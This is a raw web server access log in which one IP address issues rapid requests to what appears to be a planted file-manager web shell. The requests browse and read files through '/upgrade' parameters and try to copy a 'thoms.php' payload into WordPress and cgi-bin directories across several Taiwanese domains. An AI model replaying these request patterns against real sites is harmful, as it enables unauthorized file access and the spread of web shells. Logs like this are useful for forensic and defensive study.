45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6776 "https://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10970 "https://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 46909 "https://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7781 "https://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6770 "https://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /thoms.php?copy=upgrade%2Findex.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6950 "https://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /thoms.php?copy=upgrade%2Findex.php&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Findex.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 31414 "https://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /thoms.php?copy=upgrade%2Findex.php&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Findex.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /thoms.php?copy=upgrade%2Fadmin.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fadmin.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /thoms.php?copy=upgrade%2Fadmin.php&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fadmin.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /thoms.php?copy=upgrade%2Fadmin.php&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fadmin.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:51 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:52 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:53 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
